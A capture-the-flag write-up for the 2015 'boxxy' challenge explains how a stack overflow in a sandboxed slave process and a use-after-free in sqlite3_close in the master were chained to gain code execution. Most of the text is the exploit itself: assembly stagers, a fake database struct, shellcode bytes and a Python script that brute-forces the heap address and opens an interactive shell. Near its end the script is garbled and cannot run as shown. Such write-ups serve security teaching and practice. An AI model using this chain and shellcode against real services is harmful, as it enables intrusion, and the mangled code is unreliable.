boxxy Ghost in the Shellcode 2015 We are given 3, 32-bit Linux binaries: boxxy <- NX disabled :) libc.so.6 libsqlite3.so.0 The service listens on port 10101 and upon receiving a connection from a new client, forks twice to create master and slave processes that provide the service implementation. The slave process is sandboxed with a call to prctl to limit system calls to read, write, _exit, and sigreturn. The slave process interacts with us over the socket and with the master via a pipe. On connect we are greeted with the following: Welcome to the 2014 CVE db server Commands: search - Display record random - Display random record exit - Disconnect > Our commands are translated into interactions between the slave and master using a custom binary protocol via which the slave can ask the master to 0 - open the database 1 - prepare a query (copy our query into a master query buffer) 2 - execute the query 3 - request a random CVE 4 - close the database 5 - terminate search is implemented as a 1 followed by a 2 random is implemented directly with 3 exit is implemented directly with 4 The slave opens the database by sending 0 following initial connect from the client, but the slave never sends a close database command (though a close function, sandbox_close_db, is present in the pbinary) The first thing we note is that there is a trivial stack overflow when submitting a query. In the check_len function at 0x80494F1, the slave checks that our query string is less than or equal to 128 bytes in length. If our string is too long, then an error message is generated using sprintf into a stack allocated buffer. Because the binary has NX disabled we were able to locate a jmp esp gadget at 0x804aacb in the .eh_frame segment. We opted to take the easy pwn in the slave with a simple read stager that let us avoid any character restrictions. All we had to do was find something useful we could make the master do. For future reference it is worth noting that the slave had no heap, nor could it have one (no brk/mmap allowed) so we couldn't leak any heap addresses from the slave. The operation of the master was to loop and read commands from the slave that were then dispatched to one of 6 command handler functions. We would need to get execution by telling the master to carry out some combination of these six operations in a way useful to us. database open didn't appear helpful. prepare query allocated a heap buffer and reads our query string into the allocated buffer, so we have arbitraty attacker supplied content in a heap buffer of unknown location in the master. A quick scan of execute query and random didn't look promising. close database yielded something promising. If the database handle is null then nothing happens, if the database handle is not null, then _sqlite3_close is called and the databse handle IS NOT RESET TO NULL so we have a use after free condition that we opt to pursue. Our way forward at this point was to allocated a fake database struct in the free'd space. We used prepare query to do this by sending a query of size 0x20f (prepare query adds 1) to fill 0x210 bytes previously occupied by the database struct. Invoking close database a second time would then force sqlite3 to reference attacker supplied data during its close operations. All that remaind was for us to determine how to format our fake database struct to get far enough into the sqlite3_close code to invoke a destructor function of our choosing. Here we just walked through the provided libsqlite3.so.0 to see what fields with the struct were referenced and how those fields were used and without too much trouble we were able to fill in enough fields to gain execution on the next call to sqlite3_close. In summary here are the steps we followed: Own the slave via sprintf overflow in check_len Use our code in the slave to forward commands to the master that 1. closed the database 2. prepared a query causing our query content to allocate on top of the freed database struct 3. close the database a second time to exploit the use after free bug Exploit script and assembly language stages are included below. I was too lazy to look for a leak of a heap address in the master so I just brute forced the heap address. ****************************************************** ; Stage 1 nasm payload for execution in the slave bits 32 ; GITS 2015 boxxy read stager add esp, 0xfffff004 push byte 3 pop eax push byte 4 pop ebx mov ecx, esp push byte 0x40 pop edx shl edx, 4 int 0x80 jmp esp ****************************************************** ; Stage 2 payload for execution in the slave bits 32 ; close database ; prep query block of 0x210 ; close database ; required fields in fake sqlite db struct ; +0x0C == 0 ; +0x14 = 0 ; +0x138 = ptr to A, *(A + 8) points to B, *B points to C, *(C + 0x44) is function pointer ; +0x120 = non zero ; jmp short fake top: pop ebp push byte 7 pop ebx push dword 8 + 8 + 0x20f + 8 ; size of the 3 command blocks we send pop edx push byte 4 pop eax mov ecx, ebp int 0x80 ; send our command blocks readloop: pop ebp ; read on pipe to keep child alive push byte 3 pop ebx push dword 1 pop edx push byte 3 pop eax mov ecx, esp int 0x80 cmp eax, 1 jz readloop exit_slave: push byte 1 pop eax int 0x80 fake: call top blob: dd 4, 0 ; close db dd 1, 0x20F ; prep query fake1: dd 0, 0 ; offs 16 begin: ; this allocates at 0x804d010 for non-randomized dd 0x804d020, 0x804d010, 0, 0 ; 0 dd 0, 0, 0x804d014, 0 dd 0, 0, 0, 0 dd 0, 0, 0, 0 dd 0, 0x804d060, 0x4B771290, 0 ; second dword here is address of code, 3rd is sqlite3 magic number dd 0x5a5a5a5a, 0, 0, 0 ; code starts here offset 24 + 5 * 16 = 104 dd 0, 0, 0, 0 ; punch master payload here at ZZZZ dd 0, 0, 0, 0 dd 0, 0, 0, 0 dd 0, 0, 0, 0 dd 0, 0, 0, 0 dd 0, 0, 0, 0 dd 0, 0, 0, 0 dd 0, 0, 0, 0 dd 0, 0, 0, 0 dd 0, 0, 0, 0 dd 0, 0, 0, 0 dd 0, 0, 0, 0 dd 1, 0, 0, 0 ; offset 0x120 into db struct dd 0, 0, 0x804d010, 0 ; offset 0x130 into db struct dd 0, 0, 0, 0 dd 0, 0, 0, 0 dd 0, 0, 0, 0 dd 0, 0, 0, 0 dd 0, 0, 0, 0 dd 0, 0, 0, 0 dd 0, 0, 0, 0 dd 0, 0, 0, 0 dd 0, 0, 0, 0 dd 0, 0, 0, 0 dd 0, 0, 0, 0 dd 0, 0, 0, 0 dd 0 db 0, 0, 0 ; round out size of db struct dd 4, 0 ; close db ************************************************************* #boxxy.py Exploit for GITS 2015 boxxy challenge import struct import socket import sys import binascii import os def readUntil(s, content, echo = True): x = "" while True: y = s.recv(1) if not y: return False x += y for v in content: if x.endswith(v): if echo: sys.stderr.write(x) return x # reader stage1 stage1 = "\x81\xc4\x04\xf0\xff\xff\x6a\x03\x58\x6a\x04\x5b\x89\xe1\x6a\x40" stage1 += "\x5a\xc1\xe2\x04\xcd\x80\xff\xe4\x0a" # total size: 24 bytes jmpesp = 0x804aacb #we are going to brute force the heap address in the master since that is where #our controlled data lands and the slave never gets a heap that we can leak heap = int(sys.argv[1], 0) + 0x804d010 #reader stage2 stage2 = "\xeb\x29\x5d\x6a\x07\x5b\x68\x27\x02\x00\x00\x5a\x6a\x04\x58\x89" stage2 += "\xe9\xcd\x80\x5d\x6a\x03\x5b\x6a\x01\x5a\x6a\x03\x58\x89\xe1\xcd" stage2 += "\x80\x83\xf8\x01\x74\xed\x6a\x01\x58\xcd\x80\xe8\xd2\xff\xff\xff" stage2 += "\x04\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x0f\x02\x00\x00" stage2 += "\x00\x00\x00\x00\x00\x00\x00\x00\x20\xd0\x04\x08\x10\xd0\x04\x08" stage2 += "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" stage2 += "\x14\xd0\x04\x08\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" stage2 += "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" stage2 += "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x60\xd0\x04\x08" stage2 += "\x90\x12\x77\x4b\x00\x00\x00\x00\x5a\x5a\x5a\x5a\x00\x00\x00\x00" stage2 += "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" stage2 += "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" stage2 += "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" stage2 += "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" stage2 += "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" stage2 += "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" stage2 += "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" stage2 += "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" stage2 += "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" stage2 += "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" stage2 += "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" stage2 += "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" stage2 += "\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00" stage2 += "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" stage2 += "\x10\xd0\x04\x08\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" stage2 += "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" stage2 += "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" stage2 += "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" stage2 += "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" stage2 += "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" stage2 += "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" stage2 += "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" stage2 += "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" stage2 += "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" stage2 += "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" stage2 += "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" stage2 += "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x04" stage2 += "\x00\x00\x00\x00\x00\x00\x00"; # total size: 599 bytes stage2 = stage2.replace(struct.pack(" "]) s.send("id\n") if not s.recv(4096): #failed sys.exit(0) if os.fork(): while 1: b = s.recv(1) sys.stderr.write(b) else: while 1: b = sys.stdin.read(1) s.sendall(b)